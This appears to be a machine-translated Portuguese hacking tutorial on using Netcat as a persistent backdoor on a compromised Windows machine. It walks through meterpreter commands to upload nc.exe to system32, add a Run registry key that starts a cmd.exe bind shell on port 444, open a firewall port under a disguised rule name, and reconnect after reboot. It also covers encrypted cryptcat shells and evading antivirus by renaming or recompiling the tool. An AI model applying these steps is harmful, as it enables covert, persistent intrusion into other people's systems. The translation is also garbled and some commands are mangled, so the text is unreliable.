Introdução:
Netcat é um utilitário de rede que pode ler e gravar nas portas UDP e TCP. É frequentemente referido como o canivete suíço das ferramentas de hacking porque pode fazer várias coisas tanto como cliente quanto como servidor durante aventuras de hacking. Freqüentemente, vamos usá-lo para criar capas de ligação e reversa em torno de relatórios para ver o que está acontecendo e enviar arquivos entre máquinas. Shell é uma maneira de você interagir com um computador como um prompt de comando no Windows ou terminal no Linux. O Netcat nos permite realizar muitas coisas, como prateleiras reversas, para se comunicar entre dois ou mais computadores, e permite que você execute uma infinidade de funções. Netcat é capaz de Port Scan e se conectar a portas abertas usando seus argumentos de comando simples. Também é capaz de enviar arquivos e fornecer administração remota por meio de shell direto ou reverso.
Empregando Netcat como um agente persistente:
Netcat é um programa extremamente versátil e útil. Mencionei anteriormente neste artigo que ele é usado para a comunicação entre dois computadores. Também pode ser usado se você deseja instalar persistência. Netcat pode ser usado como uma porta dos fundos. Então, vamos começar criando um shell persistente no sistema comprometido usando o Netcat. Usaremos -nc.exe, como é o nome do executável. Mas se você renomeá-lo antes de usá-lo, minimiza as chances de detecção. No entanto, mesmo depois de renomear um software antivírus pode detectá-lo. Muitos hackers alteram alguns dos elementos do código-fonte do Netcat, que são desnecessários e, antes de usá-lo, recompilam-no. Essas mudanças tornarão o Netcat invisível para o software antivírus.
Em Kali, o Netcat é armazenado em / usr / share / windows-binaries. Para fazer o upload para o sistema comprometido, use o comando de dentro do meterpreter:
$ meterpreter> upload / usr / share / windows-binaries / nc.exe C: \\ WINDOWS \\ system32
Existem muitos tipos de arquivos nesta pasta, para ocultar um arquivo em um sistema comprometido é o melhor lugar
Você também pode usar um protocolo de transferência de arquivos Trivial se não tiver uma conexão meterpreter para transferir o arquivo.
A próxima etapa é configurar o registro para que você possa iniciar o Netcat quando o sistema for inicializado e verificar se ele está escutando na porta 444. Use o comando fornecido abaixo:
$ meterpreter> reg setval -k HKLM \\ software \\ microsoft \\ windows \\versão atual \\ run -vv nc -d 'C: \\ windows \\ system32 \\ nc.exe -Ldp 444
-e cmd.Exe'
Agora que você usou o comando mencionado acima, use o seguinte comando queryval para garantir a implementação bem-sucedida da mudança no registro.
$ meterpreter> reg queryval -kHKLM \\ software \\ microsoft \\ windows \\currentverion \\ run -vv nc
Abra uma porta em um firewall local para confirmar se o sistema comprometido aceitará conexões remotas com o Netcat usando o comando $ netsh. Conhecer o sistema operacional do alvo é de extrema importância. O contexto de linha de comando usado para Windows Vista, Windows Server 2008, é
$ netsh advfirewallPara sistemas anteriores, o comando $ netsh firewall é usado. Insira o comando shell no prompt do meterpreter para adicionar a porta ao firewall local do Windows, insira a regra usando o comando adequado. Para o funcionamento adequado do sistema, nome de usuário como 'svchostpassthrough' ao nomear a regra. Um exemplo de comando é mostrado a seguir:
$ C: \ Windows \ system32> netsh firewall adicionar abertura de portaTCP 444 "passagem de serviço"
Para confirmar se a mudança foi implementada com sucesso usando o seguinte comando:
$ C: \ windows \ system32> netsh firewall mostra abertura de porta
Após a confirmação da regra da porta, certifique-se de que a opção de reinicialização funciona.
Digite o seguinte comando no prompt do meterpreter:
$ meterpreter> reiniciarDigite o seguinte comando em um shell interativo do Windows:
$ C: \ windows \ system32> shutdown -r -t 00Para acessar o sistema comprometido remotamente, digite $ nc em um prompt de comando, indique o detalhamento da conexão (-v e -vv relata informações básicas, muito mais informações respectivamente) e, em seguida, insira o endereço IP do destino e o número da porta.
$ nc -v 192.168.43.128 444
Infelizmente, o Netcat tem algumas limitações, que são: não há autenticação de dados transmitidos e o software antivírus pode detectá-lo. No entanto, o problema de menos criptografia pode ser resolvido usando cryptcat, que é uma alternativa ao Netcat. Durante a transmissão entre o host explorado e o invasor, ele protege os dados usando a criptografia Twofish. Não será errado dizer que fornece proteção razoavelmente forte para dados criptografados.
Certifique-se de que haja um listener pronto e configurado com uma senha forte para usar cryptcat, use o seguinte comando:
$ sudo cryptcat -k senha -l -p 444A próxima etapa é fazer upload do cryptcat para o sistema comprometido e configurá-lo para se conectar ao endereço IP do ouvinte usando o seguinte comando:
$ C: \ cryptcat -k senhaÉ lamentável dizer que o Netcat e suas variantes podem ser detectados por software antivírus. Ao usar um editor hexadecimal para alterar o código-fonte do Netcat, existe a possibilidade de que o Netcat não seja detectado. Mas é um longo processo de tentativa e erro. Uma abordagem mais confiável é usar os mecanismos de persistência do Metasploit Framework.
Conclusão:
NETCAT é um canivete suíço usado para hackers eficientes. Pode realizar várias funções para acessar o servidor e o cliente. Este artigo fornece uma breve descrição do funcionamento e uso do NETCAT. Espero que tenha gostado se este artigo o ajudou, então compartilhe com seus amigos. Sinta-se à vontade para perguntar sobre qualquer dúvida que você tenha sobre NETCAT. Você também pode compartilhar sua opinião e mais detalhes.